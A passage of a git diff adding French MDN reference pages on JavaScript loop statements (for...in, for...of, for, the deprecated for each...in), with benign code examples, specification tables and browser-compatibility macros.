+<p>L'ordre dans lequel le parcours est effectué dépend de l'implémentation. Dans le cas d'un parcours de tableau utilisant <code>for...in</code>, on pourrait très bien avoir un ordre qui ne soit pas le même entre les différents environnements. Pour cette raison, il est préférable d'utiliser une boucle {{jsxref("Instructions/for","for")}} utilisant un compteur numérique (ou {{jsxref("Array.prototype.forEach","Array.forEach()")}} ou encore {{jsxref("Instructions/for...of","for...of")}}) lorsqu'on souhaite parcourir des tableaux dans un ordre bien défini.</p>
+
+<h3 id="Itérer_uniquement_sur_les_propriétés_non_héritées">Itérer uniquement sur les propriétés non héritées</h3>
+
+<p>Si on souhaite ne parcourir que les propriétés propres d'un objet et pas celles rattachées à ses prototypes, on peut utiliser la méthode {{jsxref("Object.getOwnPropertyNames()")}} ou bien effectuer un test grâce à la méthode {{jsxref("Object.prototype.hasOwnProperty()")}} voire avec {{jsxref("Object.prototype.propertyIsEnumerable()")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La boucle <code>for...in</code> qui suit utilise parcourt l'objet <code>obj</code> et ses propriétés énumérables qui ne sont pas des symboles en fournissant la chaîne de caractères qui décrit le nom de la propriété et sa valeur.</p>
+
+<pre class="brush: js">var obj = {a:1, b:2, c:3};
+
+for (var prop in obj) {
+  console.log(`obj.${prop} = ${obj[prop]}`);
+}
+
+// Affiche dans la console :
+// "obj.a = 1"
+// "obj.b = 2"
+// "obj.c = 3"</pre>
+
+<p>La fonction qui suit utilise {{jsxref("Object.hasOwnProperty", "hasOwnProperty()")}} pour ne pas afficher les propriétés héritées :</p>
+
+<pre class="brush: js">var triangle = {a:1, b:2, c:3};
+
+function TriangleCouleur() {
+  this.couleur = "rouge";
+}
+
+TriangleCouleur.prototype = triangle;
+
+var obj = new TriangleCouleur();
+
+for (var prop in obj) {
+  if( obj.hasOwnProperty( prop ) ) {
+    console.log(`obj.${prop} = ${obj[prop]}`);
+  }
+}
+
+// Affichera dans la console :
+// "obj.couleur = rouge"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.6.3', 'for...in statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.6.4', 'for...in statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-for-in-and-for-of-statements', 'for...in statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'for...in statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.for_in")}}</p>
+
+<h3 id="Expressions_avec_initialisateur">Expressions avec initialisateur</h3>
+
+<p>Avant SpiderMonkey 40 {{geckoRelease(40)}}, il était possible d'utiliser un initialisateur (<code>i=0</code>) dans un boucle <code>for...in</code> :</p>
+
+<pre class="brush: js example-bad">var obj = {a:1, b:2, c:3};
+for(var i=0 in obj) {
+  console.log(obj[i]);
+}
+// 1
+// 2
+// 3
+</pre>
+
+<p>Ce comportement non-standard a été retiré avec la version 40. Cela provoquera désormais une exception {{jsxref("SyntaxError")}} ("<em><a href="/fr/docs/Web/JavaScript/Reference/Erreurs/Invalid_for-in_initializer">for-in loop head declarations may not have initializers</a></em>") en <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a> (cf. {{bug(748550)}} et {{bug(1164741)}}).</p>
+
+<p>Les autres moteurs, tels que v8 (Chrome), Chakra (IE/Edge) et JSC (WebKit/Safari) recherchent également comment retirer ce comportement non standard.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/for...of","for...of")}} : une instruction semblable qui permet d'itérer sur les valeurs des propriétés</li>
+ <li>{{jsxref("Instructions/for","for")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Caractère_énumérable_des_propriétés_et_rattachement">Le rattachement et le caractère énumérable des propriétés</a></li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Object.prototype.hasOwnProperty()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Instructions/for_each...in", "for each...in")}} {{deprecated_inline}} : une instruction semblable, dépréciée, qui parcourt les valeurs des propriétés d'un objet plutôt que les noms.</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/for...of/index.html b/files/fr/web/javascript/reference/instructions/for...of/index.html
new file mode 100644
index 0000000000..0fc7deb1f6
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/for...of/index.html
@@ -0,0 +1,316 @@
+---
+title: for...of
+slug: Web/JavaScript/Reference/Instructions/for...of
+tags:
+  - ECMAScript 2015
+  - Instruction
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Statements/for...of
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'<strong>instruction <code>for...of</code></strong> permet de créer une boucle {{jsxref("Array")}} qui parcourt un {{jsxref("Les_protocoles_iteration","objet itérable","#Le_protocole_.C2.AB_it.C3.A9rable_.C2.BB",1)}} (ce qui inclut les objets {{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("String")}}, {{jsxref("TypedArray")}}, l'objet {{jsxref("Fonctions/arguments","arguments")}}, etc.) et qui permet d'exécuter une ou plusieurs instructions pour la valeur de chaque propriété.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-forof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">for (<em><var>variable</var></em> of iterable)
+  <em>instruction</em>
+</pre>
+
+<dl>
+ <dt><code>variable</code></dt>
+ <dd>À chaque itération, la valeur d'une propriété différente est affectée à <code><em>variable</em></code> (cette variable peut être déclarée avec <code>const</code>, <code>let</code> ou <code>var</code>).</dd>
+ <dt><code>iterable</code></dt>
+ <dd>L'objet dont on parcourt les propriétés énumérables.</dd>
+ <dt><code>instruction</code></dt>
+ <dd>Une instruction à exécuter pour chaque propriété, cette instruction peut être composée de plusieurs instructions en utilisant un {{jsxref("Instructions/bloc","bloc","",1)}} d'instructions.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_for...of_sur_un_tableau">Utiliser <code>for...of</code> sur un tableau</h3>
+
+<pre class="brush: js">let tableauItérable = [1, 2, 3];
+
+for (let valeur of tableauItérable) {
+  console.log(valeur);
+}
+// 1
+// 2
+// 3</pre>
+
+<p>Si la variable n'est pas réaffectée dans la boucle, on pourra également utiliser <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/const">const</a></code> à la place de <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/let">let</a></code> :</p>
+
+<pre class="brush: js">let tableauItérable = [1, 2, 3];
+
+for (const valeur of tableauItérable) {
+  console.log(valeur);
+}
+// 1
+// 2
+// 3</pre>
+
+<h3 id="Parcourir_une_chaîne_de_caractères_avec_for...of">Parcourir une chaîne de caractères avec <code>for...of</code></h3>
+
+<pre class="brush: js">let iterable = 'pixel';
+
+for (let valeur of iterable) {
+  console.log(valeur);
+}
+// p
+// i
+// x
+// e
+// l</pre>
+
+<h3 id="Parcourir_un_tableau_typé_(jsxref(TypedArray))">Parcourir un tableau typé ({{jsxref("TypedArray")}})</h3>
+
+<pre class="brush: js">let iterable = new Uint8Array([0x00, 0xff]);
+
+for (let valeur of iterable) {
+  console.log(valeur);
+}
+// 0
+// 255</pre>
+
+<h3 id="Parcourir_une_jsxref(Map)">Parcourir une {{jsxref("Map")}}</h3>
+
+<pre class="brush: js">let iterable = new Map([['a', 1], ['b', 2], ['c', 3]]);
+
+for (let element of iterable) {
+  console.log(element);
+}
+// ['a', 1]
+// ['b', 2]
+// ['c', 3]
+
+for (let [clef, valeur] of iterable) {
+  console.log(valeur);
+}
+// 1
+// 2
+// 3</pre>
+
+<h3 id="Utiliser_Array.prototype.forEach()">Utiliser <code>Array.prototype.forEach()</code></h3>
+
+<p>Pour obtenir les mêmes valeurs qu'avec une boucle <code>for...of</code>, on peut utiliser la méthode {{jsxref("Array.prototype.forEach()")}} :</p>
+
+<pre class="brush: js">let arr = [3, 5, 7];
+arr.toto = "coucou";
+
+arr.forEach(function (element, index) {
+  console.log(element); // affiche "3", "5", "7"
+  console.log(index);  // affiche "0", "1", "2"
+});
+
+// ou avec Object.keys()
+
+Object.keys(arr).forEach(function (element, index) {
+  console.log(arr[element]); // affiche "3", "5", "7", "coucou"
+  console.log(arr[index]);  // affiche "3", "5", "7", undefined
+});</pre>
+
+<h3 id="Parcourir_l'objet_arguments">Parcourir l'objet <code>arguments</code></h3>
+
+<p>Il est possible de parcourir l'objet {{jsxref("Fonctions/arguments", "arguments")}} afin d'examiner l'ensemble des paramètres passés à la fonction :</p>
+
+<pre class="brush: js">(function() {
+  for (let argument of arguments){
+    console.log(argument);
+  }
+})(1, 2, 3);
+
+// 1
+// 2
+// 3
+</pre>
+
+<h3 id="Parcourir_des_collections_DOM">Parcourir des collections DOM</h3>
+
+<p>Il est possible de parcourir des collections DOM telles que {{domxref("NodeList")}}. Dans cet exemple, on ajoute une classe <code>read</code> aux paragraphes qui sont des descendants directs d'un article :</p>
+
+<pre class="brush:js">// Note : Cela ne fonctionnera que pour les plates-formes
+// qui implémentent NodeList.prototype[Symbol.iterator]
+let articleParagraphs = document.querySelectorAll("article &gt; p");
+
+for (let paragraph of articleParagraphs) {
+  paragraph.classList.add("read");
+}
+</pre>
+
+<h3 id="Clôturer_les_itérateurs">Clôturer les itérateurs</h3>
+
+<p>Dans les boucles <code>for...of</code>, on peut provoquer la fin de l'itérateur avec <code>break</code>, <code>continue</code>, <code>throw</code>, ou <code>return</code>. Dans ces cas, l'itérateur est fermé.</p>
+
+<pre class="brush: js">function* toto() {
+  yield 1;
+  yield 2;
+  yield 3;
+};
+
+for (let o of toto()) {
+  console.log(o);
+  break; // L'itérateur est fermé
+}
+</pre>
+
+<h3 id="Itérer_sur_les_générateurs">Itérer sur les générateurs</h3>
+
+<p>Grâce à cette instruction, on peut également itérer sur les {{jsxref("Instructions/function*","générateurs","",1)}} :</p>
+
+<pre class="brush:js">function* fibonacci() { // une fonction génératrice
+  let [prev, curr] = [0, 1];
+  while (true) {
+    [prev, curr] = [curr, prev + curr];
+    yield curr;
+  }
+}
+
+for (let n of fibonacci()) {
+  console.log(n);
+  // on arrête la séquence à 1000
+  if (n &gt;= 1000){
+    break;
+  }
+}
+</pre>
+
+<h3 id="Itérer_sur_les_autres_objets_itérables">Itérer sur les autres objets itérables</h3>
+
+<p>Il est aussi possible d'itérer sur un objet qui implémente <a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_«_itérable_»">le protocole itérable</a> de façon explicite :</p>
+
+<pre class="brush: js">var iterable = {
+  [Symbol.iterator]() {
+    return {
+      i: 0,
+      next() {
+        if (this.i &lt; 3) {
+          return { value: this.i++, done: false };
+        }
+        return { value: undefined, done: true };
+      }
+    };
+  }
+};
+
+for (let value of iterable) {
+  console.log(value);
+}
+console.log("fini !");
+// 0
+// 1
+// 2</pre>
+
+<h3 id="Les_différences_entre_for...of_et_for...in">Les différences entre <code>for...of</code> et <code>for...in</code></h3>
+
+<p>Les deux instructions <code>for...in</code> et <code>for...of</code> permettent de parcourir un ensemble. Mais elles ne parcourent pas le même ensemble.</p>
+
+<p>L'instruction {{jsxref("Instructions/for...in", "for...in")}} permet de parcourir <a href="/fr/docs/Web/JavaScript/Caractère_énumérable_des_propriétés_et_rattachement">les propriétés énumérables</a> d'un objet dans un ordre arbitraire.</p>
+
+<p>L'instruction <code>for...of</code> permet quant à elle de parcourir les données contenues dans l'<a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs#Itérables">objet itérable</a> visé.</p>
+
+<p>Dans l'exemple qui suit, on illustre la différence de comportement entre une boucle <code>for...of</code> et une boucle <code>for...in</code> utilisées sur un tableau ({{jsxref("Array")}}).</p>
+
+<pre class="brush:js">Object.prototype.objCustom = function() {};
+Array.prototype.arrCustom = function() {};
+
+let iterable = [3, 5, 7];
+iterable.toto = 'coucou';
+
+for (let i in iterable) {
+  console.log(i); // affiche 0, 1, 2, "toto",
+                  // "arrCustom", "objCustom"
+}
+
+for (let i in iterable) {
+  if (iterable.hasOwnProperty(i)) {
+    console.log(i); // affiche 0, 1, 2, "toto"
+  }
+}
+
+for (let i of iterable) {
+  console.log(i); // affiche 3, 5, 7
+}
+</pre>
+
+<p>Chaque objet héritera de la propriété <code>objCustom</code> et chaque objet qui est un tableau ({{jsxref("Array")}}) héritera de la propriété <code>arrCustom</code> car on les ajoute aux prototypes {{jsxref("Object.prototype")}} et {{jsxref("Array.prototype")}}. L'objet <code>iterable</code> hérite donc des propriétés <code>objCustom</code> et <code>arrCustom</code> grâce <a href="/fr/docs/Web/JavaScript/Héritage_et_chaîne_de_prototypes">à l'héritage et à la chaîne de prototypes</a>.</p>
+
+<pre class="brush: js">for (let i in iterable) {
+  console.log(i); // affiche 0, 1, 2, "toto",
+                  // "arrCustom" et "objCustom"
+}</pre>
+
+<p>Cette boucle ne parcourt que les <a href="/fr/docs/Web/JavaScript/Caractère_énumérable_des_propriétés_et_rattachement">propriétés énumérables</a> de l'objet <code>iterable</code> dans un ordre arbitraire. Les éléments du tableau <code>3</code>, <code>5</code>, <code>7</code> ou <code>hello</code> ne sont pas affichés car ce ne sont pas des propriétés (et encore moins des propriétés énumérables). En revanche, on retrouve bien les indices du tableau et les propriétés <code>arrCustom</code> et <code>objCustom</code>. Pour décrire plus précisément ce comportement, vous pouvez consulter {{jsxref("Instructions/for...in", "for...in", "#/fr/docs/Web/JavaScript/Reference/Instructions/for...in#Utiliser_for...in_et_parcourir_un_tableau")}}.</p>
+
+<pre class="brush: js">for (let i in iterable) {
+  if (iterable.hasOwnProperty(i)) {
+    console.log(i); // affiche 0, 1, 2, "toto"
+  }
+}</pre>
+
+<p>Cette boucle ressemble à la première mais ajoute la méthode {{jsxref("Object.prototype.hasOwnProperty()", "hasOwnProperty()")}} qui permet de vérifier si la propriété énumérable recensée est directement disponible sur l'objet (c'est-à-dire si elle n'est pas héritée). La console affiche donc les propriétés <code>0</code>, <code>1</code>, <code>2</code> et <code>toto</code> car ce sont des propriétés directement rattachées à l'objet <code>iterable</code>. En revanche, les propriétés <code>arrCustom</code> et <code>objCustom</code> ne sont pas affichées car elles proviennent de l'héritage.</p>
+
+<pre class="brush: js">for (let i of iterable) {
+  console.log(i); // affiche 3, 5, 7
+}</pre>
+
+<p>Cette boucle parcourt les valeurs définies comme itérables par <a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_.C2.AB_it.C3.A9rable_.C2.BB">l'objet itérable</a><strong> </strong>et dans ce cas ce sont les éléments du tableau <code>3</code>, <code>5</code>, <code>7</code> et pas les propriétés de l'objet.</p>
+
+<h3 id="Attention_à_ne_pas_réutiliser_les_générateurs">Attention à ne pas réutiliser les générateurs</h3>
+
+<p>Les générateurs ne doivent pas être réutilisés, même lorsque la boucle <code>for...of</code> a été interrompue (par exemple lorsque {{jsxref("Instructions/break","break")}} est utilisé). Lorsqu'on quitte une boucle, le générateur est clôturé et si on l'utilise à nouveau, il ne fournira aucun résultat. Firefox n'a pas encore implémenté ce comportement standard (cf. {{bug("1147371")}}).</p>
+
+<pre class="brush: js">var gen = (function *(){
+  yield 1;
+  yield 2;
+  yield 3;
+})();
+for (let o of gen) {
+  console.log(o);
+  break; // L'itérateur est fermé
+}
+
+// Le générateur ne doit pas être réutilisé !
+for (let o of gen){
+  console.log(o); // Ceci n'est jamais exécuté
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-for-in-and-for-of-statements', 'instruction for...of')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'instruction for...of')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.for_of")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Map.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/for/index.html b/files/fr/web/javascript/reference/instructions/for/index.html
new file mode 100644
index 0000000000..ac60a49710
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/for/index.html
@@ -0,0 +1,148 @@
+---
+title: for
+slug: Web/JavaScript/Reference/Instructions/for
+tags:
+  - Instruction
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Statements/for
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'instruction <code><strong>for</strong></code> crée une boucle composée de trois expressions optionnelles séparées par des points-virgules et encadrées entre des parenthèses qui sont suivies par une instruction (généralement <a href="/fr/docs/Web/JavaScript/Reference/Instructions/bloc">une instruction de bloc</a>) à exécuter dans la boucle.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-for.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">for ([<em>initialisation</em>]; [<em>condition</em>]; [<em>expression_finale</em>])
+   <em>instruction</em>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>initialisation</code></dt>
+ <dd>Une expression (pouvant être une expression d'affectation) ou une déclaration de variable. Cette expression est évaluée une fois avant que la boucle démarre. On utilise généralement une variable qui agit comme un compteur. Cette expression peut éventuellement déclarer de nouvelles variables avec le mot-clé <code>var</code> ou <code>let</code>. Les variables déclarées avec <code>var</code> se situent dans la même portée que la boucle <code>for</code> (elles ne sont pas locales au sein de la boucle), les variables déclarées avec <code>let</code> sont locales à la boucle. Le résultat de l'expression n'est pas utilisé.</dd>
+ <dt><code>condition</code></dt>
+ <dd>Une expression qui est évaluée avant chaque itération de la boucle. Si cette expression est vérifiée, l'<code>instruction </code>est exécutée. Ce test est optionnel. S'il n'est pas présent, la condition sera toujours vérifiée. Si l'expression n'est pas vérifiée (i.e. vaut <code>false</code>), l'exécution se poursuivra à la première expression qui suit la boucle <code>for</code>.</dd>
+ <dt><code>expression_finale</code></dt>
+ <dd>Une expression qui est évaluée à la fin de chaque itération. Cela se produit avant l'évaluation de l'expression <code>condition</code>. Cette expression est généralement utilisée pour mettre à jour ou incrémenter le compteur qu'est la variable d'initialisation.</dd>
+ <dt><code>instruction</code></dt>
+ <dd>Une instruction qui est exécutée tant que la condition de la boucle est vérifiée. Afin d'exécuter plusieurs instructions au sein d'une telle boucle, il faudra utiliser une instruction de <a href="/fr/docs/JavaScript/Rérence_JavaScript/Instructions/block">bloc</a> (<code>{ ... }</code>) qui regroupera ces différentes instructions.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_for">Utiliser <code>for</code></h3>
+
+<p>L'instruction <code>for</code> qui suit débute en déclarant la variable <code>i</code> et en l'initialisant à 0. Elle vérifie que <code>i</code> est inférieur (strictement) à 9 et exécute ensuite les deux instructions contenues dans la boucle, ensuite elle incrémente <code>i</code> de 1, ce qui sera fait à chaque passage dans la boucle.</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; 9; i++) {
+   n += i;
+   myfunc(n);
+}
+</pre>
+
+<h3 id="Expressions_optionnelles_pour_for">Expressions optionnelles pour <code>for</code></h3>
+
+<p>Les trois expressions qui composent l'instruction <code>for</code> sont optionnelles :</p>
+
+<p>Par exemple, le bloc pour l'initialisation peut ne pas être utilisé :</p>
+
+<pre class="brush: js">var i = 0;
+for (; i &lt; 9; i++) {
+    console.log(i);
+    // d'autres instructions
+}
+</pre>
+
+<p>De même que pour le bloc d'initialisation, l'expression de condition est optionnelle. Attention, si l'expression de condition n'est pas utilisée, il faut s'assurer d'interrompre la boucle et de ne pas créer une boucle infinie.</p>
+
+<pre class="brush: js">for (var i = 0;; i++) {
+   console.log(i);
+   if (i &gt; 3) break;
+   // d'autres instructions
+}</pre>
+
+<p>Les trois blocs d'expressions peuvent être omis. Encore une fois, il faudra utiliser une instruction {{jsxref("Instructions/break")}} pour terminer la boucle. Si le test se fait sur un seuil, on veillera à incrémenter la variable pour que la condition d'arrêt modifiée soit respectée.</p>
+
+<pre class="brush: js">var i = 0;
+
+for (;;) {
+  if (i &gt; 3) break;
+  console.log(i);
+  i++;
+}
+</pre>
+
+<h3 id="Utiliser_for_avec_une_instruction_vide">Utiliser <code>for</code> avec une instruction vide</h3>
+
+<p>L'instruction <code>for</code> qui suit calcule le décalage d'un nœud et le fait dans la section qui correspond à l'expression finale. Il n'y a donc aucun intérêt à ajouter une instruction ou un bloc d'instruction dans la boucle pour faire ce calcul.</p>
+
+<pre class="brush: js">function showOffsetPos (sId) {
+  var nLeft = 0, nTop = 0;
+
+  for (var oItNode = document.getElementById(sId); oItNode; nLeft += oItNode.offsetLeft, nTop += oItNode.offsetTop, oItNode = oItNode.offsetParent);
+
+  console.log("Décalage de position : \"" + sId + "\" element:\n left: " + nLeft + "px;\n top: " + nTop + "px;");
+}</pre>
+
+<div class="note"><strong>Note :</strong> Dans cas, où on n'utilise pas la section d'instruction,<strong> il faut mettre un point-virgule immédiatement après la déclaration de la boucle.</strong></div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-for-statement', 'for statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-for-statement', 'instruction for')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.6.3', 'instruction for')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.6.3', 'instruction for')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.6.2', 'instruction for')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.for")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/break", "break")}}</li>
+ <li>{{jsxref("Instructions/continue", "continue")}}</li>
+ <li>{{jsxref("Instructions/vide", "Instruction vide","",1)}}</li>
+ <li>{{jsxref("Instructions/while", "while")}}</li>
+ <li>{{jsxref("Instructions/do...while", "do...while")}}</li>
+ <li>{{jsxref("Instructions/for...in", "for...in")}}</li>
+ <li>{{jsxref("Instructions/for...of", "for...of")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/for_each...in/index.html b/files/fr/web/javascript/reference/instructions/for_each...in/index.html
new file mode 100644
index 0000000000..103651bc31
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/for_each...in/index.html
@@ -0,0 +1,80 @@
+---
+title: for each...in
+slug: Web/JavaScript/Reference/Instructions/for_each...in
+tags:
+  - Déprécié
+  - E4X
+  - Instruction
+  - JavaScript
+  - Reference
+translation_of: Archive/Web/JavaScript/for_each...in
+---
+<div>{{JsSidebar("Statements")}}{{deprecated_header}}</div>
+
+<div class="warning">
+<p>L'instruction for each...in est dépréciée car elle appartient au standard ECMA-357 (<a href="/fr/docs/E4X">E4X</a>). E4X sera désactivé par défaut puis retiré à l'avenir. Il faut désormais utiliser l'instruction {{jsxref("Instructions/for...of","for...of")}}. (Voir {{ bug("791343")}}.)<br>
+ <strong>Firefox lance désormais des avertissements lorsque des boucles <code>for each...in</code> et cette instruction a été retirée du canal <em>Nightly</em>.<br>
+ Veuillez consulter <a href="/fr/docs/Web/JavaScript/Reference/Erreurs/For-each-in_loops_are_deprecated">l'article sur cet avertissement pour des indications</a> quant aux solutions de migration.</strong></p>
+</div>
+
+<p>L'instruction <strong><code>for each...in</code></strong> itère une variable donnée sur toutes les propriétés d'un objet. Pour chaque propriété distincte, une instruction spécifique est exécutée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">for each (<var>variable</var> in <var>objet</var>) {
+  <var>instruction</var>
+}</pre>
+
+<dl>
+ <dt><code>variable</code></dt>
+ <dd>Une variable à itérer sur les valeurs des propriétés, elle peut être déclarée avec le mot-clé {{jsxref("Instructions/var","var")}}. Cette variable est locale à la fonction et non à la boucle.</dd>
+</dl>
+
+<dl>
+ <dt><code>objet</code></dt>
+ <dd>L'objet pour lequel les propriétés sont itérées.</dd>
+</dl>
+
+<dl>
+ <dt><code>instruction</code></dt>
+ <dd>Une instruction à exécuter pour chaque propriétés. Pour effectuer plusieurs instructions au sein de la boucle, il faut utiliser une instruction de {{jsxref("Instructions/block","bloc","",1)}} (<code>{ ... }</code>) pour regrouper les instructions.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>L'itération ne s'effectue que sur les propriétés spécifiques, définies par l'utilisateur. Elle ne s'effectuera pas sur les propriétés implicites déjà intégrées comme les méthodes objet telles que la méthode <code>indexOf</code> des chaînes de caractères.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_for_each...in">Utiliser <code>for each...in</code></h3>
+
+<p><strong>Attention :</strong> Ne jamais utiliser cette boucle sur un tableau. Ne l'utiliser que pour les objets. (Voir des détails sur la page de l'instruction {{jsxref("Instructions/for...in")}}).</p>
+
+<p>Le fragment de code parcourt les propriétés d'un objet et en calcule leur somme.</p>
+
+<pre class="brush:js">var somme = 0;
+var obj = {prop1: 5, prop2: 13, prop3: 8};
+
+for each (var item in obj) {
+  somme += item;
+}
+
+console.log(somme); // affiche "26", ce qui correspond à 5+13+8</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette instruction ne fait partie d'aucune spécification ECMA-262. Elle a été implémentée avec JavaScript 1.6 et est dépréciée.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.for_each_in")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/for...in","for...in")}} : une instruction similaire permettant d'itérer sur les noms des propriétés.</li>
+ <li>{{jsxref("Instructions/for...of","for...of")}} : une instruction similaire qui permet d'itérer sur les valeurs des propriétés mais dont le comportement est différent de <code>for each...in</code>. Cette instruction ne s'utilise que pour les types itérables.</li>
+ <li>{{jsxref("Instructions/for","for")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/function/index.html b/files/fr/web/javascript/reference/instructions/function/index.html
new file mode 100644
index 0000000000..d4faad9451
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/function/index.html
@@ -0,0 +1,179 @@
+---
+title: function
+slug: Web/JavaScript/Reference/Instructions/function
+tags:
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/function
+---
